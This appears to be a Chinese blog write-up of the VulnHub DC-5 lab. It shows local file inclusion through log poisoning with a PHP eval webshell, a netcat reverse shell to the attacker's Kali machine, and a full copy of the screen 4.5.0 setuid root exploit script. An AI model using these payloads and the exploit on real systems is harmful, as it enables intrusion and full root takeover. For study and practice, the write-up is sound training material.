VulnHub靶场~DC-5

0X00 靶机的环境搭配

攻击机(Kali): 192.168.238.130

靶机(DC-5): 192.168.138

靶机地址:  DC: 5 ~ VulnHub

0X01 信息收集

一、IP扫描

┌──(root㉿kali)-[~]
└─#  arp-scan -l

二、端口扫描

┌──(root㉿kali)-[~]
└─#  nmap -T4 -sV -O -A 192.168.238.138

三、网站目录扫描

┌──(root㉿kali)-[~]
└─# dirb http://192.168.238.138

无敏感目录 

四、查看网站结构

无cms

 

五、网页信息获取

http://192.168.238.138/thankyou.php?firstname=&lastname=&country=australia&subject=

在Contact栏中有个好像是文件包含漏洞,下面的年份会随之发生变化,多刷新几次,发现也会改变,应该是刚才那个页面thankyou.php包含了footer.php

但是Nginx文件后面可以用文件包含

/var/log/nginx/access.log  日志文件

/var/log/nginx/error.log  错误文件

/etc/passwd 

0X02 

一、文件包含

http://192.168.238.138/thankyou.php?file=/etc/passwd

尝试访问passwd文件,确定是文件包含漏洞

二、上传一句话

2.1 抓包

http://192.168.238.138/thankyou.php?file=/var/log/nginx/access.log

#访问网站,抓包发送到重放器,添加一句话木马

<?php @eval($_POST['pass']);?>

2.2 蚁剑连接

http://192.168.238.138/thankyou.php?file=/var/log/nginx/access.log

0X03 交互式shell

一、监听端口

┌──(root㉿kali)-[~]
└─# nc -lvp 1234

二、反弹shell

(www-data:/var/www/html) $ nc 192.168.238.130 1234 -e /bin/bash

用蚁剑打开虚拟终端,连接kaili

┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
192.168.238.138: inverse host lookup failed: Unknown host
connect to [192.168.238.130] from (UNKNOWN) [192.168.238.138] 56051
python -c "import pty;pty.spawn('/bin/bash')"    #交互式shell
www-data@dc-5:~/html$

0X04 提权

一、find查找漏洞

www-data@dc-5:~/html$ find / -user root -perm -4000 -print 2>/dev/null

找到正在系统上运行的所有SUID可执行文件

关注一下screen-4.5.0,GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换,该版本存在本地提权漏洞。

二、Screen本地提权

2.1 搜索攻击方式

┌──(root㉿kali)-[~]
└─# searchsploit screen 4.5.0

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# cat 41154.sh

┌──(root㉿kali)-[~]
└─# cat 41154.sh 
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
┌──(root㉿kali)-[~]
└─#

2.2 制作木马

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim libhax.c   #根据提示生成libhax.c木马

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c  # 编译  

 

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim rootshell.c 

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# gcc -o rootshell rootshell.c  #编译

┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim dc5.sh   #将剩余部分写入到dc5.sh,并最后输入 :set ff=unix保存

三、上传木马

www-data@dc-5:/var$ ls -l

查看文件夹权限,只有tmp可以任意读写,将木马上传到tmp文件夹下 

四、执行木马

赋予dc5.sh执行权限并运行

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值